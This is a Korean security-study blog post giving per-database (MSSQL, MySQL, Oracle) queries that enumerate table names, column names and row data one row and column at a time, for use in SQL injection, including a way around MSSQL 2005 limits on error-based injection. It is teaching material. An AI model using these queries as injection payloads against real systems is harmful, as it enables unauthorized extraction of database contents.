정보보안공부

SQL Injection - DB별 단일행, 단일열 쿼리 본문

Web

SQL Injection - DB별 단일행, 단일열 쿼리

Steady_sp 2019. 9. 22. 21:54

# 단일행 조회

@Mssql ( 2005 버전 이하 ) -> Top 사용

1) sys.objects , sys.columns를 이용한 단일행 조회

*** 테이블 1개씩 조회하기

#> select top 1 name from (select top 1 name from sys.objects where type='u' order by name)T order by name desc;

#> select top 1 name from (select top 1 name from sys.objects where type=0x55 order by name)T order by name desc;

=> n값을 1부터 증가시켜 첫번째 행부터 n번째 행까지 1개의 행씩 조회가 가능하다. Top n 으로 출력한 여러행을 다시 내림차순을 이용해 Top 1로 1개의 행을 조회하면 모든행이 1개씩 조회가 가능하다. ( type='u'와 0x55는 같은의미이다. ) rowidx=n 형태로 1개씩 n번째까지 조회가 가능하다.

 

2) information_schema를 이용한 단일행 조회

*** 테이블 1개씩 조회하기

#> select top 1 table_name from (select top n table_name from information_schema.tables where table_type='base table' order by table_name)T order by table_name desc;

=> n값을 1부터 증가시켜 첫번째 행부터 n번째 행까지 1개의 행씩 조회가 가능하다. Top n 으로 출력한 여러행을 다시 내림차순을 이용해 Top 1로 1개의 행을 조회하면 모든행이 1개씩 조회가 가능하다. rowidx=n 형태로 1개씩 n번째까지 조회가 가능하다.

 

@Mssql ( 2005 버전 이후 ) -> row_number() 사용

- 2005버전 부터 강화된 보안 기능으로 블라인드 공격 기법에서는 동일구조의 쿼리를 사용해도 문제가 없지만 Error 기반 SQL Injection에서는 데이터 획득에 제한이 발생한다. 해당 보안 기능을 우회하기 위해서 row_number() 함수를 사용한다.

1) sys.objects , sys.columns를 이용한 단일행 조회

*** 테이블 1개씩 조회하기

#> select name from (select row_number() over(order by name) as rowidx, name from sys.objects where type=0x55)T where rowidx=1;

=> row_number()을 서브쿼리도 작성하여 조회한 테이블 행의 번호가 rowidx라는 이름으로 지정되어 조건을 통해 단일행 조회가 가능하다. rowidx=n 형태로 1개씩 n번째까지 조회가 가능하다.

 

2) information_schema를 이용한 단일행 조회

*** 테이블 1개씩 조회하기

#> select table_name from (select row_number() over(order by table_name) as rowidx, table_name from information_schema.tables where table_type='base table')T where rowidx=1;

=> row_number()을 서브쿼리도 작성하여 조회한 테이블 행의 번호가 rowidx라는 이름으로 지정되어 조건을 통해 단일행 조회가 가능하다. rowidx=n 형태로 1개씩 n번째까지 조회가 가능하다.

 

@Mysql -> Limit 사용

1) information_schema를 이용한 단일행 조회

*** 테이블 1개씩 조회하기

#> select table_name from information_schema.tables where table_type='base table' limit 0,1;

=> limit 0,1을 이용해 0은 조회한 테이블의 첫번째 행을 의미하며 1은 1개의 행을 의미한다. 0부터 n까지 늘려가며 모든 행을 1개씩 조회가 가능하다.

 

@Oracle -> rownum 사용

1) user_tables ( tabs ) , user_tab_columns ( cols )를 이용한 단일행 조회

*** 테이블 1개씩 조회하기

#> select table_name from (select rownum as rowidx, table_name from user_tables)T where rowidx=1;

#> select table_name from (select rownum as rowidx, table_name from tabs)T where rowidx=1;

=> rownum을 서브쿼리도 작성하여 조회한 테이블 행의 번호가 rowidx라는 이름으로 지정되어 조건을 통해 단일행 조회가 가능하다. rowidx=n 형태로 1개씩 n번째까지 조회가 가능하다.

 

2) tab , col을 이용한 단일행 조회

*** 테이블 1개씩 조회하기

#> select tname from (select rownum as rowidx, tname from tab)T where rowidx=1;

=> rownum을 서브쿼리도 작성하여 조회한 테이블 행의 번호가 rowidx라는 이름으로 지정되어 조건을 통해 단일행 조회가 가능하다. rowidx=n 형태로 1개씩 n번째까지 조회가 가능하다.

 

# 단일열 조회

@Mssql - +(%2b)

1) sys.objects , sys.columns를 이용한 단일열 조회

*** Employees 테이블의 컬럼 1개씩 조회하기

#> select top 1 name from (select top 1 col.name from sys.objects obj, sys.columns col where obj.object_id = col.object_id and obj.name='Employees' order by col.name)T order by name desc;

=> n값을 1부터 증가시켜 첫번째 행부터 n번째 행까지 1개의 행씩 조회가 가능하다. Top n 으로 출력한 여러행을 다시 내림차순을 이용해 Top 1로 1개의 행을 조회하면 모든행이 1개씩 조회가 가능하다. 컬럼 조회 시 object_id 값을 통해 조회해야 하므로 sys.objects와 sys.columns를 join문으로 조회한다. rowidx=n 형태로 1개씩 n번째까지 조회가 가능하다.

 

*** Employees 테이블의 컬럼 1개씩 조회하기 - row_number() 사용

#> select name from (select row_number() over(order by col.name) as rowidx, col.name from sys.objects obj, sys.columns col where obj.object_id=col.object_id and obj.name='Employees')T where rowidx=1;

=> row_number()을 서브쿼리도 작성하여 조회한 컬럼 행의 번호가 rowidx라는 이름으로 지정되어 조건을 통해 단일행 조회가 가능하다. 컬럼 조회 시 object_id 값을 통해 조회해야 하므로 sys.objects와 sys.columns를 join문으로 조회한다. rowidx=n 형태로 1개씩 n번째까지 조회가 가능하다.

 

*** 단일행/단일열 조건을 만족하면서 해당 테이블의 여러 컬럼 한꺼번에 조회하기

#> select firstname+ ',' +lastname from (select row_number() over(order by employeeid) as rowidx, firstname, lastname from Employees)T where rowidx=1;

=> Employees 테이블의 firstname, lastname 2개의 컬럼 값은 문자열을 이어주는 + 연산자(%2b)를 이용해 조회한다. 

=> 서브쿼리의 row_number()을 이용해 employeeid로 정렬 후 rowidx로 단일행 조건을 만족하며, concat_ws를 이용해 단일열 조건도 만족한 상태로 데이터 조회가 가능하다.

( employeeid 자리는 중복되지 않는 값으로 사용한다. )

 

2) information_schema를 이용한 단일열 조회

*** Employees 테이블의 컬럼 1개씩 조회하기

#> select top 1 column_name from (select top 1 column_name from information_schema.columns where table_name = 'Employees' order by column_name)T order by column_name desc;

=> n값을 1부터 증가시켜 첫번째 행부터 n번째 행까지 1개의 행씩 조회가 가능하다. Top n 으로 출력한 여러행을 다시 내림차순을 이용해 Top 1로 1개의 행을 조회하면 모든행이 1개씩 조회가 가능하다. rowidx=n 형태로 1개씩 n번째까지 조회가 가능하다.

 

*** Employees 테이블의 컬럼 1개씩 조회하기 - row_number() 사용

#> select column_name from (select row_number() over(order by column_name) as rowidx, column_name from information_schema.columns where table_name = 'Employees')T where rowidx=1;

=> row_number()을 서브쿼리도 작성하여 조회한 컬럼 행의 번호가 rowidx라는 이름으로 지정되어 조건을 통해 단일행 조회가 가능하다. rowidx=n 형태로 1개씩 n번째까지 조회가 가능하다.

 

*** 단일행/단일열 조건을 만족하면서 해당 테이블의 여러 컬럼 한꺼번에 조회하기

#> select concat_ws(',' ,firstname ,lastname) from (select row_number() over(order by employeeid) as rowidx, firstname, lastname from Employees)T where rowidx=1;

=> Employees 테이블의 firstname, lastname 2개의 컬럼 값은 문자열을 이어주는 concat_ws 연산자를 이용해 조회한다.

=> 서브쿼리의 row_number()을 이용해 employeeid로 정렬 후 rowidx로 단일행 조건을 만족하며, concat_ws를 이용해 단일열 조건도 만족한 상태로 데이터 조회가 가능하다.

( employeeid 자리는 중복되지 않는 값으로 사용한다. )

 

@Mysql - 공백,탭,개행

1) information_schema를 이용한 단일열 조회

*** Employees 테이블의 컬럼 1개씩 조회하기

#> select column_name from information_schema.columns where table_name='Employees' limit 0,1;

=> limit 0,1을 이용해 0은 조회한 컬럼의 첫번째 행을 의미하며 1은 1개의 행을 의미한다. 0부터 n까지 늘려가며 모든 행을 1개씩 조회가 가능하다.

 

*** 단일행/단일열 조건을 만족하면서 테이블(EMPLOYEES)의 여러 컬럼 한꺼번에 조회하기

#> select concat_ws(',', firstname, lastname) from Employees limit 0,1;

=> EMPLOYEES 테이블의 firstname, lastname 2개의 컬럼 값은 문자열을 이어주는 concat_ws를 이용해 조회한다.

=> limit를 이용해 단일행 조건을 만족하며, concat_ws를 이용해 단일열 조건도 만족한 상태로 데이터 조회가 가능하다.

 

@Oracle - ||(%7c%7c)

1) user_tables ( tabs ) , user_tab_columns ( cols )를 이용한 단일열 조회

*** Employees 테이블의 컬럼 1개씩 조회하기

#> select column_name from (select rownum as rowidx, column_name from user_tab_columns where table_name='EMPLOYEES')T where rowidx=1;

#> select column_name from (select rownum as rowidx, column_name from cols where table_name='EMPLOYEES')T where rowidx=1;

=> rownum을 서브쿼리도 작성하여 조회한 컬럼 행의 번호가 rowidx라는 이름으로 지정되어 조건을 통해 단일행 조회가 가능하다. rowidx=n 형태로 1개씩 n번째까지 조회가 가능하다.

 

*** 단일행/단일열 조건을 만족하면서 테이블(EMPLOYEES)의 여러 컬럼 한꺼번에 조회하기

#> select first_name || ',' || last_name from (select rownum as rowidx, first_name,last_name from EMPLOYEES) where rowidx=1;

=> EMPLOYEES 테이블의 first_name, last_name 2개의 컬럼 값은 문자열을 이어주는 || 연산자를 이용해 조회한다.

=> 서브쿼리의 rownum을 이용해 rowidx로 단일행 조건을 만족하며, || 연산자를 이용해 단일열 조건도 만족한 상태로 데이터 조회가 가능하다.

 

2) tab , col을 이용한 단일열 조회

*** Employees 테이블의 컬럼 1개씩 조회하기

#> select cname from (select rownum as rowidx, cname from col where tname='EMPLOYEES')T where rowidx=1;

=> rownum을 서브쿼리도 작성하여 조회한 컬럼 행의 번호가 rowidx라는 이름으로 지정되어 조건을 통해 단일행 조회가 가능하다. rowidx=n 형태로 1개씩 n번째까지 조회가 가능하다.

 

*** 단일행/단일열 조건을 만족하면서 테이블(EMPLOYEES)의 여러 컬럼 한꺼번에 조회하기

#> select first_name || ',' || last_name from (select rownum as rowidx, first_name,last_name from EMPLOYEES) where rowidx=1;

=> EMPLOYEES 테이블의 first_name, last_name 2개의 컬럼 값은 문자열을 이어주는 || 연산자를 이용해 조회한다.

=> 서브쿼리의 rownum을 이용해 rowidx로 단일행 조건을 만족하며, || 연산자를 이용해 단일열 조건도 만족한 상태로 데이터 조회가 가능하다.

 

 

'Web' 카테고리의 다른 글

Web - 파일업로드(APM 환경)  (0) 2019.10.21
SQL Injection - DB별 표현식 정리  (0) 2019.10.01
SQL Injection - Error-Based Sql Injection  (0) 2019.09.22
SQL Injection - Blind Sql Injection  (0) 2019.09.22
SQL Injection - Union Sql Injection  (0) 2019.09.20
Comments